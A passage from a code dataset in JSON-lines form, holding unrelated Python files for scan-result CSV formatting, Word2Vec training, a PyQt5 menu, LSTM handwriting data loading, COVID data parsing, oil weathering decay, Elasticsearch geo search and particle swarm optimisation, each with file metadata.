return quttera\r\n\r\n# Retrieve virustotal scan results\r\ndef getvtResult(comment):\r\n stPos = st(comment, \"tio: \")\r\n endPos = comment.find(\" Quttera\")\r\n vt = \"'\" + comment[stPos:endPos]\r\n return vt\r\n\r\ndef introspection():\r\n modulesetup = {}\r\n try:\r\n responseType\r\n modulesetup['responseType'] = responseType\r\n except NameError:\r\n pass\r\n try:\r\n userConfig\r\n modulesetup['userConfig'] = userConfig\r\n except NameError:\r\n pass\r\n try:\r\n outputFileExtension\r\n modulesetup['outputFileExtension'] = outputFileExtension\r\n except NameError:\r\n pass\r\n try:\r\n inputSource\r\n modulesetup['inputSource'] = inputSource\r\n except NameError:\r\n pass\r\n return modulesetup\r\n\r\ndef version():\r\n return moduleinfo", "sub_path": "DomainIP_CSV.py", "file_name": "DomainIP_CSV.py", "file_ext": "py", "file_size_in_byte": 3547, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "json.loads", "line_number": 30, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 33, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 36, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 54, "usage_type": "call"}]} +{"seq_id": "410265799", "text": "#!/usr/bin/env python\nimport pandas as pd\nimport logging\nfrom gensim.models import Word2Vec\nimport time\nimport nltk\nnltk.download('punkt')\nfrom nltk.tokenize import word_tokenize\nimport sys\nimport csv\n\ndef custom_tokenize(text):\n if not text:\n print('The text to be tokenized is a None type. Defaulting to blank string.')\n text = ''\n return word_tokenize(text)\n\n\nif __name__ == '__main__':\n start = time.time()\n\t# The csv file might contain very huge fields, therefore set the field_size_limit to maximum.\n csv.field_size_limit(sys.maxsize)\n novant = pd.read_csv(\"/Users/ewashington/Desktop/clean_novant.csv\")\n tokens = novant['text'].apply(custom_tokenize)\n \n logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s',\\\n level=logging.INFO)\n \n # Params\n num_features = 100 # Word vector dimensionality\n min_word_count = 5 # Minimum word count\n num_workers = 2 # Number of threads to run in parallel\n context = 10 # Context window size\n downsampling = 1e-3 # Downsample setting for frequent words\n epochs = 20\n \n print(\"Training Word2Vec model...\")\n\t# Train Word2Vec model.\n model = Word2Vec(tokens, workers=num_workers, hs=0, sg=1, negative=10,\n iter=epochs, size=num_features, min_count=min_word_count,\n window=context, sample= downsampling, seed=1313)\n\t \n\t \n # Save Word2Vec model.\n print(\"Saving Word2Vec model...\")\n model_name = \"./saved_models/word2vec\"\n model.init_sims(replace=True)\n model.save(model_name)\n endmodeltime = time.time()\n\n print(\"time : \", endmodeltime-start)\n", "sub_path": "healthline/word2vec.py", "file_name": "word2vec.py", "file_ext": "py", "file_size_in_byte": 1660, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "nltk.download", "line_number": 7, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 16, "usage_type": "call"}, {"api_name": "time.time", "line_number": 20, "usage_type": "call"}, {"api_name": "csv.field_size_limit", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.maxsize", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 26, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 27, "usage_type": "attribute"}, {"api_name": "gensim.models.Word2Vec", "line_number": 39, "usage_type": "call"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}]} +{"seq_id": "257163646", "text": "import sys\nfrom PyQt5 import QtGui\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QWidget, QAction\n\n\nclass Window(QMainWindow):\n def __init__(self):\n super().__init__()\n\n self.title = \"QMenueBar\"\n self.top = 200\n self.left = 200\n self.Widht = 600\n self.height = 500\n self.setWindowIcon(QtGui.QIcon(\"icon.png\"))\n\n self.InitUI()\n\n def InitUI(self):\n\n mainMenue = self.menuBar()\n fileMenue = mainMenue.addMenu(\"File\")\n viewMenue = mainMenue.addMenu(\"View\")\n editMenue = mainMenue.addMenu(\"Edit\")\n searchMenue = mainMenue.addMenu(\"Search\")\n toolMenue = mainMenue.addMenu(\"Tool\")\n helpMenue = mainMenue.addMenu(\"Help\")\n\n exitButton = QAction(QIcon(\"exit.png\"), 'Exit', self)\n exitButton.setShortcut(\"Ctrl+E\")\n exitButton.setStatusTip(\"ExitApplication\")\n exitButton.triggered.connect(self.close)\n\n fileMenue.addAction(exitButton)\n\n\n\n self.setWindowTitle(self.title)\n self.setGeometry(self.top, self.left, self.width(), self.height)\n self.show()\n\nApp = QApplication(sys.argv)\n\nwindow = Window()\nsys.exit(App.exec())", "sub_path": "PyQt5_gui/QMenueBar.py", "file_name": "QMenueBar.py", "file_ext": "py", "file_size_in_byte": 1213, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 7, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 16, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 16, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 30, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 30, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 43, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 43, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "81236601", "text": "# Basics\nimport numpy as np, logging as log\nimport reprlib\n\nclass LSTMDataInterface():\n \"\"\" LSTMDataInterface\n\n Wrapper for a single stroke dataset. Serves as an interface between the data and the model\n by providing data in the model's expected format. This class relies on being given a loaded\n instance of StrokeDataset in order to obtain the data that it needs to manage for the trainer.\n\n Adapted from: https://github.com/adeboissiere/Handwriting-Prediction-and-Synthesis\n \"\"\"\n\n def __init__(self, train_strokeset, batch_size=50, tsteps=300, scale_factor = 10, U_items=10, limit = 500, alphabet=\"default\"):\n self.alphabet = alphabet\n self.batch_size = batch_size\n self.tsteps = tsteps\n self.scale_factor = scale_factor # Divide data by this factor\n self.limit = limit # Removes large noisy gaps in the data\n self.U_items = U_items\n\n self.load_preprocessed(train_strokeset)\n self.reset_batch_pointer()\n\n def load_preprocessed(self, train_strokeset):\n \"\"\"load_preprocessed\n\n The key to the whole class is in here; it must be able to obtain the stroke data in the\n form of a numpy matrix that can be consumed by the trainer. In addition, it must also\n be able to get a list of the corresponding ascii text for those stroke samples.\n\n With the needed data in hand, it is processed for scaling and removing large gaps. The\n final form is then appended to lists of stroke and ascii data, ready for use by the trainer.\n\n \"\"\"\n # Get data in the loader's required format\n self.raw_stroke_data = train_strokeset.get_stroke_matrix()\n self.raw_ascii_data = train_strokeset.get_ascii_list()\n\n # Goes thru the list and only keeps the text entries that have more than tsteps points\n self.stroke_data = []\n self.ascii_data = []\n counter = 0\n\n for i in range(len(self.raw_stroke_data)):\n data = self.raw_stroke_data[i]\n if len(data) > (self.tsteps+2):\n # Removes large gaps from the data\n data = np.minimum(data, self.limit)\n data = np.maximum(data, -self.limit)\n data = np.array(data,dtype=np.float32)\n data[:,0:2] /= self.scale_factor\n \n self.stroke_data.append(data)\n self.ascii_data.append(self.raw_ascii_data[i])\n\n # Minus 1, since we want the ydata to be a shifted version of x data\n self.num_batches = int(len(self.stroke_data) / self.batch_size)\n log.info(f\"Stroke Len = {len(self.stroke_data)}, Batch Size = {self.batch_size}, Num Batches = {self.num_batches}\")\n print (\"Loaded dataset:\")\n print (\" -> {} individual data points\".format(len(self.stroke_data)))\n print (\" -> {} batches\".format(self.num_batches))\n\n def next_batch(self):\n \"\"\"next_batch\n \n Returns a randomized, tsteps sized portion of the training data. This is a batch that\n is to be processed as a batch by the trainer.\n \"\"\"\n\n x_batch = []\n y_batch = []\n ascii_list = []\n for i in range(self.batch_size):\n data = self.stroke_data[self.idx_perm[self.pointer]]\n x_batch.append(np.copy(data[:self.tsteps]))\n y_batch.append(np.copy(data[1:self.tsteps+1]))\n ascii_list.append(self.ascii_data[self.idx_perm[self.pointer]])\n self.tick_batch_pointer()\n one_hots = [self.one_hot(s) for s in ascii_list]\n return x_batch, y_batch, ascii_list, one_hots\n \n def one_hot(self, s):\n \"\"\"one_hot\n\n Transforms a string sequence into a one-hot matrix. Dimensions of the output one-hot \n matrix are (string length, len(alphabet)).\n \"\"\"\n\n # Index position 0 means \"unknown\"\n if self.alphabet == \"default\":\n alphabet = \" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"\n\n if s is None:\n seq = [0]\n log.debug(f\"One hotting: nothing\")\n else:\n seq = [alphabet.find(char) + 1 for char in s]\n log.debug(f\"One hotting: {s}\")\n\n if len(seq) >= self.U_items:\n seq = seq[:self.U_items]\n else:\n seq = seq + [0]*(self.U_items - len(seq))\n one_hot = np.zeros((self.U_items,len(alphabet)+1))\n one_hot[np.arange(self.U_items),seq] = 1\n\n return one_hot\n\n def tick_batch_pointer(self):\n \"\"\"tick_batch_pointer\n\n Increment to the next batch. If we've exhausted all available batches, then reset\n the pointer.\n \"\"\"\n\n self.pointer += 1\n if (self.pointer >= len(self.stroke_data)):\n self.reset_batch_pointer()\n\n def reset_batch_pointer(self):\n \"\"\"reset_batch_pointer\n\n The batch pointer keeps track of which batch is being processed for the trainer's use.\n This method will reset that pointer and select a new random stroke for the trainer\n to use.\n \"\"\"\n\n self.idx_perm = np.random.permutation(len(self.stroke_data))\n self.pointer = 0\n log.debug(\"Pointer reset\")", "sub_path": "Code/HandwritingSmoother/pywritesmooth/Data/LSTMDataInterface.py", "file_name": "LSTMDataInterface.py", "file_ext": "py", "file_size_in_byte": 5261, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.minimum", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 52, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 78, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 97, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 130, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 132, "usage_type": "call"}]} +{"seq_id": "323726297", "text": "#!/usr/bin/env python\n\nimport sys\nfrom pathlib import Path\nfrom datetime import datetime, timedelta\nimport pandas\nfrom covid_io import read_argv\nfrom utils import dataframe_output, merge_previous\n\n\ndf, prev_data = read_argv()\ndf = df.rename(columns={\n 'data': 'Date',\n 'totale_casi': 'Confirmed',\n 'deceduti': 'Deaths',\n 'tamponi': 'Tested'\n})\n\n# Add the country code to all records\ndf['CountryCode'] = 'IT'\n\n# Parse date into a datetime object\ndf['Date'] = df['Date'].apply(lambda date: datetime.fromisoformat(date).date())\n\n# Convert dates to ISO format\ndf['Date'] = df['Date'].apply(lambda date: date.isoformat())\n\n\ndef filter_function(row): return row['CountryCode'] == 'IT' and pandas.isna(row['RegionCode'])\n\n\n# Merge the new data with the existing data (prefer new data if duplicates)\nprev_data = prev_data.loc[prev_data.apply(filter_function, axis=1)]\ndf = merge_previous(df, prev_data, ['Date', 'CountryCode'])\n\n# Output the results\ndataframe_output(df)\n", "sub_path": "input/parse_it_pcm-dpc_country.py", "file_name": "parse_it_pcm-dpc_country.py", "file_ext": "py", "file_size_in_byte": 975, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "covid_io.read_argv", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "name"}, {"api_name": "pandas.isna", "line_number": 29, "usage_type": "call"}, {"api_name": "utils.merge_previous", "line_number": 34, "usage_type": "call"}, {"api_name": "utils.dataframe_output", "line_number": 37, "usage_type": "call"}]} +{"seq_id": "489190798", "text": "#!/usr/bin/env python\n#\n# weathering.py\n#\n# - module to compute the weathering of an oil that contains one or more\n# \"pseudo components\".\n#\n# Built-in Oil Types are in the OilTypes dict.\n#\n# NOTE:\n# Right now we will support the three most common exponential decay methods.\n# These are:\n# - half life\n# - the amount of time required for a quantity to fall to half its value\n# - Basically our calculation is M_0 * (half ** (time / t_half))\n# - mean lifetime (tau)\n# - Average length of time that an element remains in the set.\n# - This is probably not as popular as half life, but we should cover it\n# just in case.\n# - Basically our calculation is M_0 * np.exp(-time / tau)\n# half-life = tau * np.log(2)\n# tau = half-life / np.log(2)\n# - decay constant (lambda)\n# - Exponential positive constant value which solves the differential\n# rate of change for our decaying quantity.\n# - This is probably not as popular as half life, but we should cover it\n# just in case.\n# - Basically our calculation is M_0 * np.exp(-time * lambda)\n# half-life = np.log(2) / lambda\n# lambda * half-life = np.log(2)\n# lambda = np.log(2) / half-life\n\n\nfrom collections import namedtuple\n\nimport numpy\nnp = numpy\n\n\nWeatheringComponent = namedtuple('WeatheringComponent',\n ''' fraction,\n factor,\n ''')\n\n\nclass weather_curve:\n '''\n This is an object designed to compute the weathering of an oil\n that contains one or more \"pseudo components\".\n - Each pseudo component is assumed to be a known substance that\n has a known rate of decay that can be expressed using an\n exponential decay function.\n - Each pseudo component has a quantitative value that represents a\n fraction of a total mass that adds up to 1.0. Thus, we require that\n the sum of the component mass fractions adhere to this constraint.\n - It is assumed that all components have exponential decay factors\n that are solvable using a common functional method.\n - Right now we support the three most common exponential decay methods.\n These are:\n - half life. This is the amount of time required for a quantity to\n fall to half its value\n - mean lifetime. This is the average length of time that an element\n remains in the set.\n - decay constant. Positive constant value which solves the\n differential rate of change for our decaying quantity.\n '''\n def __init__(self, components, method=\"halflife\"):\n '''\n :param components: The properties of each component.\n :type components: Sequence of WeatheringComponents\n (WC1, WC2, WC3, ....WCi).\n The sum of the component fractional values must\n add up to 1.0\n For more on WeatheringComponent, type\n > import WeatheringComponent\n > WeatheringComponent?\n\n :param method: the method in which the decay_factor is to be used.\n :type method: set({'halflife', 'mean-lifetime', 'decay-constant'})\n '''\n fractions, factors = zip(*components)\n self.fractions = np.asarray(fractions, dtype=np.float64).reshape(-1,)\n self.factors = np.asarray(factors, dtype=np.float64).reshape(-1,)\n\n # only six digit, because float32\n if round(self.fractions.sum(), 6) != 1.0:\n raise ValueError('The sum of our components {0} must add up '\n 'to one'.format(self.fractions.sum()))\n\n methods = {'halflife': self._halflife,\n 'mean-lifetime': self._mean_lifetime,\n 'decay-constant': self._decay_constant,\n }\n self.method = methods[method]\n\n def __repr__(self):\n return ('weather_curve({0})').format(zip(self.fractions, self.factors))\n\n def _xform_inputs(self, M_0, time):\n '''\n Make sure our mass and time arguments are a good fit\n for our calculations\n - M_0: Simply needs to be an array. Thus, we will be able to\n weather a set of one or more masses.\n - time: Needs to be a single value.\n We do this because we would like to be able to apply our\n weathering operation to a time series.\n So we would optionally like our fractional amounts to\n migrate along with the last time interval calculated.\n And if each set of decayed masses was decayed using a\n different time range, we will not know which time range\n to use to recalculate our fractions.\n It will just be more well behaved if we can assume all\n masses decay using the same time interval.\n '''\n M_0 = np.asarray(M_0, dtype=np.float64).reshape(-1, 1)\n time = np.asarray(time, dtype=np.float64).reshape(-1, 1)\n\n if time.shape[0] != 1:\n raise ValueError('The decay time must be a single value')\n\n return M_0, time\n\n def _halflife(self, M_0, time):\n 'Assumes our factors are half-life values'\n half = np.float32(0.5)\n\n return (self.fractions * M_0) * (half ** (time / self.factors))\n\n def _mean_lifetime(self, M_0, time):\n 'Assumes our factors are mean lifetime values (tau)'\n return (self.fractions * M_0) * np.exp(-time / self.factors)\n\n def _decay_constant(self, M_0, time):\n 'Assumes our factors are decay constant values'\n return (self.fractions * M_0) * np.exp(-time * self.factors)\n\n def update_fractions(self, time):\n unscaled_decay = self.method(1.0, time)\n new_scale = 1 / unscaled_decay.sum()\n\n self.fractions = unscaled_decay * new_scale\n\n def weather(self, M_0, time, update_fractions=False):\n '''\n Weather an initial mass:\n 1) Compute the decayed mass at time specified\n 2) optionally recalculate the fractional amounts\n (Note: We do this because we would like to be able to apply this\n object to a time series. So we would like our fractional\n amounts to migrate along with the last time interval)\n 3) return the total decayed mass\n '''\n M_0, time = self._xform_inputs(M_0, time)\n decayed_mass = self.method(M_0, time)\n\n if update_fractions:\n self.update_fractions(time)\n\n return decayed_mass.sum(1)\n\n\n## Parameters for combined weathering and bio-degradation for \"medium crude\"\n## used for FL Staits TAP analysis\nmass_fractions = [0.25, 0.1, 0.107, 0.2, 0.186, 0.109, 0.048]\ncombined_half_lives = [21.0, 422.0, 2.0, 1358.0, 1982.0, 7198.0, 14391.0]\n\nOilTypes = {None: None,\n # Medium Crude parameters from OSSM\n 'MediumCrude': weather_curve(((.22, 14.4),\n (.26, 48.6),\n (.52, 1e9)),\n ),\n \"FL_Straits_MediumCrude\": weather_curve(zip(mass_fractions,\n combined_half_lives)),\n }\n", "sub_path": "py_gnome/gnome/utilities/weathering/weathering.py", "file_name": "weathering.py", "file_ext": "py", "file_size_in_byte": 7457, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "collections.namedtuple", "line_number": 40, "usage_type": "call"}]} +{"seq_id": "488252087", "text": "# coding: utf-8\n\n# 搜索\n\nimport os\nimport sys\nimport codecs\nfrom elasticsearch import Elasticsearch\n\nes = Elasticsearch([{'host':'127.0.0.1', 'port': 9200}])\n\nINDEX_NAME = \"index_category\"\n\n\ndef query_all():\n \"\"\"Queries all matches in Elasticsearch, to be used further for suggesting \n product names when a user is not aware of them.\n \"\"\"\n query_all = {\n \"query\": {\"match_all\": {}},\n }\n return query_all\n\n\ndef search_keyword(index, keywords, location, size=20, distance=\"100km\"):\n print(keywords)\n print(location)\n result = es.search(index=index, doc_type='poi', body={\n 'query': {\n 'bool': {\n 'should': [\n {'match':{'name': keywords}}, \n {'match':{'address': keywords}}\n ],\n 'filter': {\n \"geo_distance\": {\n \"distance\": distance,\n \"location\": {\n \"lat\": float(location[\"lat\"]),\n \"lon\": float(location[\"lon\"]),\n }\n }\n\n }\n }\n },\n \"highlight\": {\n \"fields\" : {\n \"name\" : {},\n \"address\": {},\n }\n },\n 'from': 0,\n 'size': size,\n })\n\n for item in result['hits']['hits']:\n print(item)\n return result['hits']['hits']\n\n\ndef search_keyword_category(index, keywords, location, category, size=20, distance=\"100km\"):\n result = es.search(index=index, doc_type='poi', body={\n 'query': {\n 'bool': {\n 'should': [\n {'match':{'name': keywords}}, \n {'match':{'address': keywords}}\n ],\n 'filter': [\n {\n \"term\": {\"category\": category}\n },\n {\n \"geo_distance\": {\n \"distance\": distance,\n \"location\": {\n \"lat\": float(location[\"lat\"]),\n \"lon\": float(location[\"lon\"]),\n }\n }\n }\n ],\n }\n },\n \"highlight\": {\n \"fields\" : {\n \"name\" : {},\n \"address\": {},\n }\n },\n 'from': 0,\n 'size': size,\n })\n\n for item in result['hits']['hits']:\n print(item)\n return result['hits']['hits']\n\n\ndef search_geometry_category(index, location, category, size=20, distance=\"10000km\"):\n result = es.search(index=index, doc_type='poi', body={\n \"query\": {\n \"bool\": {\n \"must\" : {\n \"match_all\" : {}\n },\n \"filter\": [\n {\n \"term\": {\"category\": category}\n },\n { \n \"geo_distance\": {\n \"distance\": distance,\n \"location\": {\n \"lat\": float(location[\"lat\"]),\n \"lon\": float(location[\"lon\"]),\n }\n }\n }\n ]\n }\n },\n \"sort\": [\n {\n \"_geo_distance\": {\n \"location\": {\n \"lat\": float(location[\"lat\"]),\n \"lon\": float(location[\"lon\"]),\n },\n \"order\": \"asc\"\n }\n }\n ],\n 'size': size,\n })\n\n for item in result['hits']['hits']:\n print(item)\n return result['hits']['hits']\n\ndef search_geometry(index, location, size=20, distance=\"10000km\"):\n result = es.search(index=index, doc_type='poi', body={\n \"query\": {\n \"bool\": {\n \"must\" : {\n \"match_all\" : {}\n },\n \"filter\": { \n \"geo_distance\": {\n \"distance\": distance,\n \"location\": {\n \"lat\": float(location[\"lat\"]),\n \"lon\": float(location[\"lon\"]),\n }\n }\n }\n }\n },\n \"sort\": [\n {\n \"_geo_distance\": {\n \"location\": {\n \"lat\": float(location[\"lat\"]),\n \"lon\": float(location[\"lon\"]),\n },\n \"order\": \"asc\"\n }\n }\n ],\n 'size': size,\n })\n\n # for item in result['hits']['hits']:\n # print(item)\n return result['hits']['hits']\n\ndef search(location, keyword=\"\", category=\"\"):\n print(location)\n print(keyword)\n if len(keyword) > 0:\n print(\"search with keywords\")\n keywords = ''.join(keyword)\n if category == '':\n search_res = search_keyword(INDEX_NAME, keywords, location)\n else:\n search_res = search_keyword_category(INDEX_NAME, keywords, location, category)\n else:\n if category == '':\n search_res = search_geometry(INDEX_NAME, location)\n else:\n search_res = search_geometry_category(INDEX_NAME, location, category)\n return search_res\n\ndef main():\n if sys.argv[1] == 'key':\n keywords = ' '.join(sys.argv[2:])\n location = {\n 'lat': 39.983,\n 'lon': 116.310\n }\n search_keyword(INDEX_NAME, keywords, location)\n elif sys.argv[1] == 'geo':\n print(sys.argv[2])\n print(sys.argv[3])\n location = {'lon': float(sys.argv[2]), 'lat': float(sys.argv[3])}\n #search_geometry(INDEX_NAME, location)\n search_keyword_category(INDEX_NAME, \"笑雪测试店\", location, \"餐饮\")\n\n\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "app/libs/poi_search/es_search_category.py", "file_name": "es_search_category.py", "file_ext": "py", "file_size_in_byte": 6047, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "elasticsearch.Elasticsearch", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 196, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 197, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 203, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 204, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 205, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 206, "usage_type": "attribute"}]} +{"seq_id": "424325536", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 6 19:55:15 2020\n\"\"\"\n#### Imports Libraries ####\nimport matplotlib.pyplot as plt \nimport numpy as np\nfrom matplotlib import cm\nimport seaborn as sns\nimport random\nimport decimal\nfrom mpl_toolkits.mplot3d import Axes3D # <--- This is important for 3d plotting \nfrom functions import Rosenbrock, Rastrigin, Paraboloid, Easom, Eggholder\nimport time\n\n#### Define functions from functions.py #####\nfuncts = {\n # 'Gradient' : Gradient_Descent,\n '0' : Paraboloid,\n '1' : Rastrigin,\n '2' : Rosenbrock,\n '3' : Easom,\n '4' : Eggholder\n}\n\n######### Settings params\n#### Ask User for input ####\nno_particles = int(input(\"Number of particles - (default 20): \\n>>\") or 20) #20\nmax_iters = int(input(\"Number of iterations - (default 100): \\n>>\") or 100) #1000\nF = functs[(input('Chose Paraboloid (0), Rastrigin (1), Rosenbrock (2), Easom (3) or Eggholder (4) - (default 0): \\n>>') or '0')]\ntrueMin = [0,0]\nif F.__name__ == 'Eggholder':\n interval = 600\n trueMin = [512, 404.2319]\nelif F.__name__ == 'Easom':\n interval = int(input(\"Size of interval - (default 5): \\n>>\") or 5) #1000\n trueMin = [np.pi, np.pi]\nelse:\n interval = int(input(\"Size of interval - (default 5): \\n>>\") or 5) #1000\nxdim = bool(input(\"3D plots? (0 / 1) (default 0): \\n>>\") or 0)\n\nrandom.seed(0)\nno_dimensions = 2\na = 2\nb = 2\nw1 = 0.9\nw2 = 0.4\n\n\n#### Initialize states, velocities, pbest, gbest, plot functionspace\nstate = np.zeros((no_particles,no_dimensions))\nvelocity = np.zeros((no_particles,no_dimensions))\nparticle_best_score = np.ones(no_particles)\nparticle_best_location = np.zeros((no_particles,no_dimensions))\nx = np.linspace(-interval,interval,50)\ny = np.linspace(-interval,interval,50)\nx, y = np.meshgrid(x, y)\nz = np.array(F([x, y]))\nfor i in range (no_particles):\n for d in range (no_dimensions):\n state[i][d] = round(random.uniform(-interval,interval), 2)\n velocity[i][d] = round(random.uniform(-20,20), 2)\n particle_best_score[i] = F(state[i])\n particle_best_location[i] = state[i]\n \nglobal_best = np.min(F(state[:].T))\nglobal_best_location = state[np.argmin(F(state[:].T))]\n\nfig = plt.figure() \nif xdim:\n ax = fig.gca(projection='3d')\n surf = ax.plot_surface(x, y, z, rstride=1, cstride=1, cmap=cm.plasma, alpha = 0.3)\nelse:\n ax = fig.subplots()\n surf = ax.contourf(x, y, z, cmap=cm.plasma, alpha = 0.3)\nplt.ion()\nplt.show() \n\n\n#### PSO ####\n##### 3-D visualization ######\nfor k in range(max_iters):\n for i in range (no_particles):\n fitness_value = F(state[i])\n\n if fitness_value < particle_best_score[i]:\n particle_best_score[i] = fitness_value\n particle_best_location[i] = state[i]\n \n if fitness_value < global_best:\n global_best = fitness_value\n global_best_location = state[i]\n w = ((w1 - w2)*(max_iters -k-1)/max_iters) + w2\n velocity = np.clip((w * velocity) + (a * random.uniform(0,1) * (particle_best_location - state)) + (b * random.uniform(0,1) * (global_best_location - state)),-2,2)\n state = np.clip((state + velocity),-interval,interval)\n if ((k==0) or (k+1==max_iters) or (k==int((max_iters-1)/2))):\n if xdim:\n ax.scatter((state[:,0]), (state[:,1]), zs=F(state[:].T), zdir='z', s=30)\n else:\n ax.scatter((state[:,0]), (state[:,1]), s=5)\n plt.pause(2)\nif xdim: #3d\n ax.scatter(trueMin[0], trueMin[1], zs=F(trueMin), c='b')\nelse: #2d\n ax.scatter(0,0, facecolors='none', edgecolors='r', marker='D')\n#### End\nprint(\"Fit val:{}\".format(fitness_value))\nprint(\"PBest: \\n{}\".format(particle_best_location)) #particle_best_location[0])\nprint('Rounded PBest: \\n{}'.format(np.round(particle_best_location)))\nplt.show()\n\n", "sub_path": "PSO.py", "file_name": "PSO.py", "file_ext": "py", "file_size_in_byte": 3762, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "functions.Paraboloid", "line_number": 19, "usage_type": "name"}, {"api_name": "functions.Rastrigin", "line_number": 20, "usage_type": "name"}, {"api_name": "functions.Rosenbrock", "line_number": 21, "usage_type": "name"}, {"api_name": "functions.Easom", "line_number": 22, "usage_type": "name"}, {"api_name": "functions.Eggholder", "line_number": 23, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 37, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 61, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.cm.plasma", "line_number": 72, "usage_type": "attribute"}, {"api_name": "matplotlib.cm", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.cm.plasma", "line_number": 75, "usage_type": "attribute"}, {"api_name": "matplotlib.cm", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "numpy.clip", "line_number": 94, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}]} +{"seq_id": "164837833", "text": "# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: W:\\Projects\\django-rest-framework-mongoengine\\rest_framework_mongoengine\\validators.py\n# Compiled at: 2020-01-02 08:16:18\n# Size of source mod 2**32: 3710 bytes\nfrom 